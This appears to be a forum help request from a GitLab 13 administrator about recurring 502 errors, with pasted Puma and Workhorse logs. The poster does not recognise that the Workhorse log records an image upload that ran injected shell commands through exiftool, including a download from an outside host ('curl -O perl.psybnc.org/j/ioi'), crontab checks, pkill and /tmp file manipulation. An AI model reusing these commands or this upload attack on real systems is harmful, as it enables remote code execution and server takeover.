Hello
Gitlab version 13
Ubuntu 20.04
4 CPU
6 GB RAM
every day i get this error message : 502 Gitlab is taking too much time to respond
gitlab-ctl tail puma
==> /var/log/gitlab/puma/puma_stderr.log <==
from /opt/gitlab/embedded/lib/ruby/site_ruby/2.7.0/bundler/vendor/thor/lib/thor.rb:399:in dispatch' from /opt/gitlab/embedded/lib/ruby/site_ruby/2.7.0/bundler/cli.rb:30:in dispatch’
from /opt/gitlab/embedded/lib/ruby/site_ruby/2.7.0/bundler/vendor/thor/lib/thor/base.rb:476:in start' from /opt/gitlab/embedded/lib/ruby/site_ruby/2.7.0/bundler/cli.rb:24:in start’
from /opt/gitlab/embedded/lib/ruby/gems/2.7.0/gems/bundler-2.1.4/exe/bundle:46:in block in <top (required)>' from /opt/gitlab/embedded/lib/ruby/site_ruby/2.7.0/bundler/friendly_errors.rb:123:in with_friendly_errors’
from /opt/gitlab/embedded/lib/ruby/gems/2.7.0/gems/bundler-2.1.4/exe/bundle:34:in <top (required)>' from /opt/gitlab/embedded/bin/bundle:23:in load’
from /opt/gitlab/embedded/bin/bundle:23:in `’
=== puma startup: 2022-01-04 16:02:18 +0100 ===
==> /var/log/gitlab/puma/current <==
2022-01-04_15:01:27.28051 {“timestamp”:“2022-01-04T15:01:27.280Z”,“pid”:1126174,“message”:"* Min threads: 2, max threads: 4"}
2022-01-04_15:01:27.28054 {“timestamp”:“2022-01-04T15:01:27.280Z”,“pid”:1126174,“message”:"* Environment: production"}
2022-01-04_15:01:27.28057 {“timestamp”:“2022-01-04T15:01:27.280Z”,“pid”:1126174,“message”:"* Process workers: 2"}
2022-01-04_15:01:27.28060 {“timestamp”:“2022-01-04T15:01:27.280Z”,“pid”:1126174,“message”:"* Preloading application"}
2022-01-04_15:02:18.00273 {“timestamp”:“2022-01-04T15:02:18.002Z”,“pid”:1126174,“message”:"* Listening on unix:///var/opt/gitlab/gitlab-rails /sockets/gitlab.socket"}
2022-01-04_15:02:18.00290 {“timestamp”:“2022-01-04T15:02:18.002Z”,“pid”:1126174,“message”:"* Listening on tcp://127.0.0.1:8080"}
2022-01-04_15:02:18.00296 {“timestamp”:“2022-01-04T15:02:18.002Z”,“pid”:1126174,“message”:"! WARNING: Detected 2 Thread(s) started in app boo t:"}
2022-01-04_15:02:18.00304 {“timestamp”:“2022-01-04T15:02:18.002Z”,“pid”:1126174,“message”:"! #\u003cThread:0x00007f3660860450 /opt/gitlab/emb edded/lib/ruby/gems/2.7.0/gems/activerecord-6.0.3.3/lib/active_record/connection_adapters/abstract/connection_pool.rb:334 sleep\u003e - /opt/ gitlab/embedded/lib/ruby/gems/2.7.0/gems/activerecord-6.0.3.3/lib/active_record/connection_adapters/abstract/connection_pool.rb:337:in sleep '"} 2022-01-04_15:02:18.00313 {"timestamp":"2022-01-04T15:02:18.003Z","pid":1126174,"message":"! #\u003cThread:0x00007f3649a30e18 /opt/gitlab/emb edded/lib/ruby/gems/2.7.0/gems/rack-timeout-0.5.2/lib/rack/timeout/support/scheduler.rb:73 sleep\u003e - /opt/gitlab/embedded/lib/ruby/gems/2 .7.0/gems/rack-timeout-0.5.2/lib/rack/timeout/support/scheduler.rb:91:in sleep’"}
2022-01-04_15:02:18.00322 {“timestamp”:“2022-01-04T15:02:18.003Z”,“pid”:1126174,“message”:“Use Ctrl-C to stop”}
==> /var/log/gitlab/puma/state <==
==> /var/log/gitlab/puma/puma_stdout.log <==
{“timestamp”:“2022-01-04T15:04:38.316Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2484.69140625 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:04:58.317Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2484.71484375 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:05:18.318Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2484.734375 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:05:38.318Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2478.859375 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:05:58.319Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2478.89453125 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:06:18.320Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2478.90625 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:06:38.320Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2478.9296875 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:06:58.321Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2478.96484375 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:07:18.322Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2478.98828125 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:07:38.322Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2479.01171875 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:07:58.323Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2479.02734375 mb with master and 2 workers.”}
{“timestamp”:“2022-01-04T15:08:18.323Z”,“pid”:1126174,“message”:“PumaWorkerKiller: Consuming 2479.05859375 mb with master and 2 workers.”}
tail -f /var/log/gitlab/gitlab-workhorse/current
{“content_type”:"",“correlation_id”:“5RrmjPKxjv9”,“duration_ms”:0,“host”:“gitlab.xxxxx.com.fr”,“level”:“info”,“method”:“POST”,“msg”:“access”,“proto”:“HTTP/1.1”,“referrer”:"",“remote_addr”:“217.182.98.102:0”,“remote_ip”:“217.182.98.102”,“route”:"^/api/v4/jobs/request\z",“status”:204,“system”:“http”,“time”:“2022-01-04T16:01:18+01:00”,“uri”:"/api/v4/jobs/request",“user_agent”:“gitlab-runner 13.6.0 (13-6-stable; go1.13.8; linux/amd64)”,“written_bytes”:0}
{“content_type”:“text/html; charset=utf-8”,“correlation_id”:“EX8YgiUGLc3”,“duration_ms”:91,“host”:“gitlab.xxxxx.com.fr”,“level”:“info”,“method”:“GET”,“msg”:“access”,“proto”:“HTTP/1.1”,“referrer”:"",“remote_addr”:“167.142.179.140:0”,“remote_ip”:“167.142.179.140”,“route”:"",“status”:200,“system”:“http”,“time”:“2022-01-04T16:01:21+01:00”,“uri”:"/users/sign_in",“user_agent”:“python-requests/2.26.0”,“written_bytes”:8435}
{“content_type”:"",“correlation_id”:“tm5YeLb9Hg9”,“duration_ms”:0,“host”:“gitlab.xxxxx.com.fr”,“level”:“info”,“method”:“POST”,“msg”:“access”,“proto”:“HTTP/1.1”,“referrer”:"",“remote_addr”:“217.182.98.102:0”,“remote_ip”:“217.182.98.102”,“route”:"^/api/v4/jobs/request\z",“status”:204,“system”:“http”,“time”:“2022-01-04T16:01:21+01:00”,“uri”:"/api/v4/jobs/request",“user_agent”:“gitlab-runner 13.6.0 (13-6-stable; go1.13.8; linux/amd64)”,“written_bytes”:0}
{“content_type”:“text/html; charset=utf-8”,“correlation_id”:“WfnOrCogLy”,“duration_ms”:15,“host”:“gitlab.xxxxx.com.fr”,“level”:“info”,“method”:“GET”,“msg”:“access”,“proto”:“HTTP/1.1”,“referrer”:"",“remote_addr”:“167.142.179.140:0”,“remote_ip”:“167.142.179.140”,“route”:"^/uploads/",“status”:302,“system”:“http”,“time”:“2022-01-04T16:01:22+01:00”,“uri”:"/uploads/user",“user_agent”:“Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36”,“written_bytes”:112}
{“content_type”:“text/html; charset=utf-8”,“correlation_id”:“Ubtcvuy09t8”,“duration_ms”:30,“host”:“gitlab.xxxxx.com.fr”,“level”:“info”,“method”:“GET”,“msg”:“access”,“proto”:“HTTP/1.1”,“referrer”:"",“remote_addr”:“167.142.179.140:0”,“remote_ip”:“167.142.179.140”,“route”:"",“status”:200,“system”:“http”,“time”:“2022-01-04T16:01:22+01:00”,“uri”:"/users/sign_in",“user_agent”:“Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36”,“written_bytes”:8969}
{“content_type”:“text/html; charset=utf-8”,“correlation_id”:“8qppvBZqKb1”,“duration_ms”:30,“host”:“217.182.98.102”,“level”:“info”,“method”:“GET”,“msg”:“access”,“proto”:“HTTP/1.1”,“referrer”:"",“remote_addr”:“167.142.179.140:0”,“remote_ip”:“167.142.179.140”,“route”:"",“status”:200,“system”:“http”,“time”:“2022-01-04T16:01:23+01:00”,“uri”:"/users/sign_in",“user_agent”:“python-requests/2.26.0”,“written_bytes”:8375}
{“correlation_id”:“sffwA8malM”,“filename”:“test.jpg”,“level”:“info”,“msg”:“running exiftool to remove any metadata”,“time”:“2022-01-04T16:01:23+01:00”}
{“command”:[“exiftool”,"-all=","–IPTC:all","–XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],“correlation_id”:“sffwA8malM”,“error”:“exit status 1”,“level”:“info”,“msg”:“exiftool command failed”,“stderr”:“no crontab for git\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 795 100 795 0 0 37857 0 --:–:-- --:–:-- --:–:-- 37857\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 795 100 795 0 0 17666 0 --:–:-- --:–:-- --:–:-- 17666\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 795 100 795 0 0 37857 0 --:–:-- --:–:-- --:–:-- 37857\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0bash: line 4: 1126019 Killed curl -O perl.psybnc.org/j/ioi\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 795 100 795 0 0 2944 0 --:–:-- --:–:-- --:–:-- 2944\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0bash: line 4: 1126041 Killed curl -O perl.psybnc.org/j/ioi\nno crontab for git\nrm: refusing to remove ‘.’ or ‘…’ directory: skipping ‘.’\nrm: refusing to remove ‘.’ or ‘…’ directory: skipping ‘…’\nchmod: cannot access ‘/tmp/.gitlab’: No such file or directory\nchmod: cannot access ‘/tmp/.sanbe’: No such file or directory\nchmod: cannot access ‘/tmp/.git’: No such file or directory\nchmod: cannot access ‘kingins’: No such file or directory\nchmod: cannot access ‘rinima’: No such file or directory\nrm: cannot remove ‘systemd-private-b20c6bc8e1814ac29fa482623a52cac0-fwupd.service-4xFHCf’: Operation not permitted\nrm: cannot remove ‘systemd-private-b20c6bc8e1814ac29fa482623a52cac0-fwupd.service-4xFHCf’: Operation not permitted\npkill: killing pid 958245 failed: Operation not permitted\npkill: killing pid 1830 failed: Operation not permitted\npkill: killing pid 1842 failed: Operation not permitted\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 4537k 100 4537k 0 0 41.0M 0 --:–:-- --:–:-- --:–:-- 41.4M\nError: Writing of this type of file is not supported - -\n”,“time”:“2022-01-04T16:01:26+01:00”}
{“correlation_id”:“sffwA8malM”,“error”:“error while removing EXIF”,“level”:“error”,“method”:“POST”,“msg”:“error”,“time”:“2022-01-04T16:01:26+01:00”,“uri”:"/uploads/user"}
{“content_type”:“text/plain; charset=utf-8”,“correlation_id”:“sffwA8malM”,“duration_ms”:2775,“host”:“217.182.98.102”,“level”:“info”,“method”:“POST”,“msg”:“access”,“proto”:“HTTP/1.1”,“referrer”:"",“remote_addr”:“167.142.179.140:0”,“remote_ip”:“167.142.179.140”,“route”:"^/uploads/user",“status”:422,“system”:“http”,“time”:“2022-01-04T16:01:26+01:00”,“uri”:"/uploads/user",“user_agent”:“Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36”,“written_bytes”:24}
To repair I run this command
gitlab-ctl reconfigure
but the problem will recur afterwards
Do you have a real solution?